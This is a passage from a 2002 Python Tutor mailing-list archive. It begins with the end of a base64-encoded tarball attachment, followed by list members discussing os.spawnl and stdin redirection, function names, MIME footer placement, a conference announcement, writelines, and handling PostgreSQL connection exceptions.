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 --------------210EBB413004DA0DA95BECB2-- ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 -testlist3.footer=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- click [REPLY] to reply to sender Click [REPLYALL] to reply to the list and poster Click RESET for education on computers List random #2 This list is hosted at http://www.tinylist.org/ you can manage your subscriptions at http://www.tinylist.org/cgi-bin/TLwebmgr.py Powered by TinyList! http://www.tinylist.org/ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From toodles@yifan.net Tue Feb 12 06:05:52 2002 From: toodles@yifan.net (Andy W) Date: Tue, 12 Feb 2002 14:05:52 +0800 Subject: [Tutor] FunctionType list from ModuleType Attributes References: <4BB02C541824D311921600902765DB7B445C42@LTISERVER> <20020212011403.A4293@pino.selwerd.nl> Message-ID: <003501c1b38b$54b18270$3100a8c0@sun> > Although functions don't strictly have a name, if you need a description > that includes the likely name (but it may be wrong), try str(f) for a > function f. Well I don't know just how long this has been around, but: Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Type "copyright", "credits" or "license" for more information. IDLE 0.8 -- press F1 for help >>> def test(n): print n >>> dir(test) ['__call__', '__class__', '__delattr__', '__dict__', '__doc__', '__get__', '__getattribute__', '__hash__', '__init__', '__name__', '__new__', '__reduce__', '__repr__', '__setattr__', '__str__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] >>> test.func_name 'test' Or maybe I'm misunderstanding...? I also think Danny's suggestion of using the 'inspect' module is a good one. Andy W. > > Easiest however would be to use a for loop over the names in dir(module), > then you alread know what the function is called in the module. > > -- > Remco Gerlich > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From dyoo@hkn.eecs.berkeley.edu Tue Feb 12 08:23:32 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 12 Feb 2002 00:23:32 -0800 (PST) Subject: [Tutor] Using os.spawn commands In-Reply-To: <45D4413DB5@kserver.org> Message-ID: On Sat, 9 Feb 2002, Sheila King wrote: > I wanted to write a script to test this other script of mine. I > thought one of the os.spawn commands would be best, so that if one of > the test processes crashed, at least my testing script wouldn't? (That > is correct thinking there, right?) [Warning: this message is extremely long, and very windy. I'm trying to show the steps and missteps I'm taking as I'm trying to solve this... and in the end, I'm not even sure I'm answering the right quetsion. *grin*.] Hi Shelia, Has anyone answered you on this yet? I've never personally played with the spawn functions before either. Ok, let me take a look... I wonder what google will say. http://www.spawn.com/interface.html Arg! Wrong Spawn! *grin* Ok, I'm taking a closer look at: http://www.python.org/doc/lib/os-process.html > and the following command executes from within that directory from a > command line prompt (in a DOS window): > E:\Web\Thinkspotwebsite\dev>python email_filter.py < test4.txt > > and gives me the expected results. Hmmm... But I'm not quite sure what will happen on a stdin redirection --- I don't believe the system literally treats '< test4.txt', as a set of arguments, but actually does some low-level things to set up standard input appropriately. Let's try a simple example with spawnl() and get that working first. Let's say that we have the following test program called 'greet.py': ### ## This is "greet.py". import sys print "Hello HAL." print "The sys.argv is", sys.argv print "What is the password? " passwd = raw_input() if passwd == 'open': print "ok" else: print "no" ### Here's our first unsuccessful attempt at getting this to work: ### >>> os.spawnl(os.P_WAIT, 'python', 'python', 'greet.py') 127 ### The error code "127" means that the system can't find the exectuable; this is equivalent to what you're running into with that OSError. > Traceback (most recent call last): > File "", line 1, in ? > os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt') > File "E:\PYTHON\PYTHON22\lib\os.py", line 530, in spawnl > return spawnv(mode, file, args) > OSError: [Errno 2] No such file or directory It looks like we really do need to put the absolute pathname in here: ### >>> os.spawnl(os.P_WAIT, '/usr/bin/python', 'python', 'greet.py') Hello HAL. The sys.argv is ['greet.py'] What is the password? open ok 0 ### The '0' comes as the return value of the spawnl() call. Ok, so that appears to work as long as we're not doing any tricky redirection. At the moment, I'm somewhat stumped about doing this redirection nicely... Let's see... The thing that I'm worried about is that simply redirection 'sys.stdin' doesn't work: ### >>> from StringIO import StringIO >>> source = StringIO() >>> source.write("abracadabra!\n") >>> source.seek(0) >>> sys.stdin = source Hello HAL. The sys.argv is ['greet.py'] What is the password? blah ## I actually had to enter things at this ## point no 0 ### There's a reason for this: Python is actually doing a lot of indirect stuff when we set sys.stdin, and this indirection doesn't quite work on spawn stuff. The documentation sorta hints at this in http://www.python.org/doc/lib/module-sys.html We can truly redirect stdin by doing some trickery: ### def redirectStdin(filename): """We're trying to really redirect the true standard input here.""" fd = os.open(filename, os.O_RDONLY) os.dup2(fd, sys.stdin.fileno()) ### So if we do something like this: ### redirectStdin("test4.txt") os.spawnl(os.P_WAIT, '/usr/bin/python', 'python', 'email_filter.py') ### I think this may work --- you might need to readjust the call to '/usr/bin/python' to what Windows expects. However, now I don't know how to get stdin to go back to the keyboard. *laugh* Oiii! I get the feeling this is all too much work: is it possible to just use os.system() instead? From alan.gauld@bt.com Tue Feb 12 11:38:31 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Tue, 12 Feb 2002 11:38:31 -0000 Subject: [Tutor] Interesting development in Pythons status Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C34B@mbtlipnt02.btlabs.bt.co.uk> I just received an invite to a conference sponsored by The Association of C & C++ Users(ACCU). It features such C++ luminaries as Bjarne Stroustrup and Jim Coplien as speakers so no lightweight event. The really interesting part is that Days 2 and 3 have Python tracks featuring: ---- Day 2 ---- New Features in Python 2 - Duncan Booth XML to PDF via Python - Andy Robinson Pythons XML tools - Nicholas Chauvat Python and small businessw clout - Paul Brian ----- Day 3 ---- Distributed objects and Webv services in Python - Duncan Grisby Python Web framework - Steve Holden Zope 3 - Steve Alexander Python/Database in a commercial environment - Dale Strickland-Clark Introducing Python to Industry leader - Tim Couper Some interesting talks by interesting names, looks like Python is really moving up a league. The only other non C++ languages to get tracks are Java and C#, two days and one day respectively... Did anyone else see this? - and is anyone thinking of attending? Its in the UK in April. Details at: http://www.accuconference.co.uk Alan g. Author of the 'Learning to Program' web site http://www.freenetpages.co.uk/hp/alan.gauld From mikalzet@libero.it Tue Feb 12 15:21:25 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Tue, 12 Feb 2002 16:21:25 +0100 (CET) Subject: [Tutor] Catching different exceptions In-Reply-To: Message-ID: If I do: import pgdb import os db = pgdb.connect(host = 'localhost', user = 'myname', passwd = 'mypasswd', database = 'turni') different things can happen: 1) the database exists and the connection works (which means the program has already been run at least once ... interesting ... whatever weird name I choose it is always possible for a database with the same name to have been created on my system already by some other program ... don't think this type of error can be caught can it ?); 2) the database exists but the connection doesn't work (wrong passwd, username or whatever) .... 3) the database does not exist, I get the following error message: _pg.error: FATAL 1: Database "turni" does not exist in the system catalog ........ which is right and proper. I can try to catch some exceptions like this: try: db = dbpg.connect(database = 'turni') except: os.system('createdb turni') This last can fail for various reasons: 1) I am not authorized to create new databases, in this case I need an error message telling me to contact my postgres administrator so that he can create it for me; 2) I am not an authorized user of postgres at all, so I need a different error message; 3) postgres doesn't exist on my system. How do I tell python how to distinguish between different types of exceptions ? Is it something like: try: foo except(fooerror1): foo1 except(fooerror2): foo2 except(fooerror3): try: foo4 except(fooerror4): foowhatever Or is it possible for me to test for the existence of a working postgres setup, a correct database and table directly, leaving exception handling to take care of subtler errors ? -- Michele Alzetta From dsh8290@rit.edu Tue Feb 12 16:14:52 2002 From: dsh8290@rit.edu (dman) Date: Tue, 12 Feb 2002 11:14:52 -0500 Subject: [Tutor] [Fwd: [testlist3] attachment's testing] In-Reply-To: <3C68AFAD.61438614@netzero.net> References: <3C68AFAD.61438614@netzero.net> Message-ID: <20020212161452.GA23231@dman.ddts.net> On Tue, Feb 12, 2002 at 01:01:17AM -0500, kirk Bailey wrote: | Very intresting. | | I sent a letter to the test list ('testlist3') and attached a copy of | counter.1.0.0.tat.gz to it. below is the reulting email coming back to | me. (next time use a smaller attachment ;-)) | Hmmm.... If I can crunch this right, I can place the footers where | they SHOULD be, and still handle attachments without a hiccup- thereby | outperforming just about every other list server on the market today. | Hmmm... need to think about this... anyone else out there intrested in | sticking their fingers into THIS pie??? Hmm, not quite sure that will work as you intend it to. First read the docs in the 'email' module (standard part of python 2.2) regarding representing a message. The "preamble" and "epilogue" are the relevant parts. The data before the first BoundaryID is not normally visible by a user. I'm not certain that the data after the last BoundaryID is seen. It will likely cause problems for Outook Express, I expect. I say this because of the lengthy discussions on OE displaying an empty message with a plain-text attachment (where the message really is) in certain RFC-compliant situations. You'll want to beware of HTML-only message too as HTML parsers/renderers ignore line breaks and whitespace. They can screw up your nicely formatted footer. -D -- Commit to the Lord whatever you do, and your plans will succeed. Proverbs 16:3 From shalehperry@attbi.com Tue Feb 12 16:15:59 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Tue, 12 Feb 2002 08:15:59 -0800 (PST) Subject: [Tutor] Interesting development in Pythons status In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C34B@mbtlipnt02.btlabs.bt.co.uk> Message-ID: > Pythons XML tools - Nicholas Chauvat this is one of the people behind narval. A really quite cool example of nifty things to do with computers and python. From kp87@lycos.com Tue Feb 12 14:47:05 2002 From: kp87@lycos.com (kevin parks) Date: Tue, 12 Feb 2002 23:47:05 +0900 Subject: [Tutor] really dumb questions Message-ID: >Thats why Beasleys book is good - it adds the examples ;-) I loved that book. I used to have the 1st edition, but it left it on the subway. I can't find the new edition here in Seoul, i've checked everywhere. Some stores have the old one, but i can't buy that again. If i am going to fork up that kind of money for an imported book I want it to be up to date. Anyone in Korea and got one they want to sell?? >f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) This didn't work for me at all. (I can't find the forward slash on this machine so if the newline character comes out funny just substitute. In Korea they put their monetary symbol where we put the slash key). >Or do it more explicitly in a loop: > >for line in ["Scooby", "Dooby", "Doo"]: > line = line + '\n' > f.write(line) This worked like a charm. I was trying to do it this way originally and couldn't figure out what i was doing wrong. turned out i to an error further up the program. -kevin-- Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From dyoo@hkn.eecs.berkeley.edu Tue Feb 12 18:54:39 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 12 Feb 2002 10:54:39 -0800 (PST) Subject: [Tutor] really dumb questions [writelines] In-Reply-To: Message-ID: On Tue, 12 Feb 2002, kevin parks wrote: > >Thats why Beasleys book is good - it adds the examples ;-) > > I loved that book. I used to have the 1st edition, but it left it on > the subway. I can't find the new edition here in Seoul, i've checked > everywhere. Some stores have the old one, but i can't buy that again. > If i am going to fork up that kind of money for an imported book I > want it to be up to date. Anyone in Korea and got one they want to > sell?? I'll probably be going to Korea with my father during this summer. If you don't have Beazley's book by then, I can 'import Beazley' for you if you'd like. > > f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) > > This didn't work for me at all. Hmmm! How did it break? This should work; it might be interesting to see why it didn't do what we expected. Did you get an error message, or was the output just weird? Talk to you later! From dyoo@hkn.eecs.berkeley.edu Tue Feb 12 19:13:13 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 12 Feb 2002 11:13:13 -0800 (PST) Subject: [Tutor] Catching different exceptions [Databases/Exceptions] In-Reply-To: Message-ID: On Tue, 12 Feb 2002 mikalzet@libero.it wrote: > import pgdb Ah, PostgreSQL. Be careful that you may need to think about transactions by using 'commit()' --- Python's database API says that database drivers don't auto-commit for us, at least, not by default. """ commit() Commit any pending transaction to the database. Note that if the database supports an auto-commit feature, this must be initially off. An interface method may be provided to turn it back on. """ (http://www.python.org/topics/database/DatabaseAPI-2.0.html) I didn't know about this before, and got very confused when all my INSERT commands never did anything... *grin* > I can try to catch some exceptions like this: > > try: > db = dbpg.connect(database = 'turni') > except: > os.system('createdb turni') > > This last can fail for various reasons: > 1) I am not authorized to create new databases, in this case I need an > error message telling me to contact my postgres administrator so that he > can create it for me; > 2) I am not an authorized user of postgres at all, so I need a different > error message; > 3) postgres doesn't exist on my system. Yes, when we do something like: ### pseudocode try: ... except: ... ### This is commonly called a "catch-all" because it doesn't distinguish between the different types of exceptional behavior we can run into. Not that this isn't bad --- it's just that we often want to be able to look at the errors in more detail. > How do I tell python how to distinguish between different types of > exceptions ? > > Is it something like: > > try: > foo > except(fooerror1): > foo1 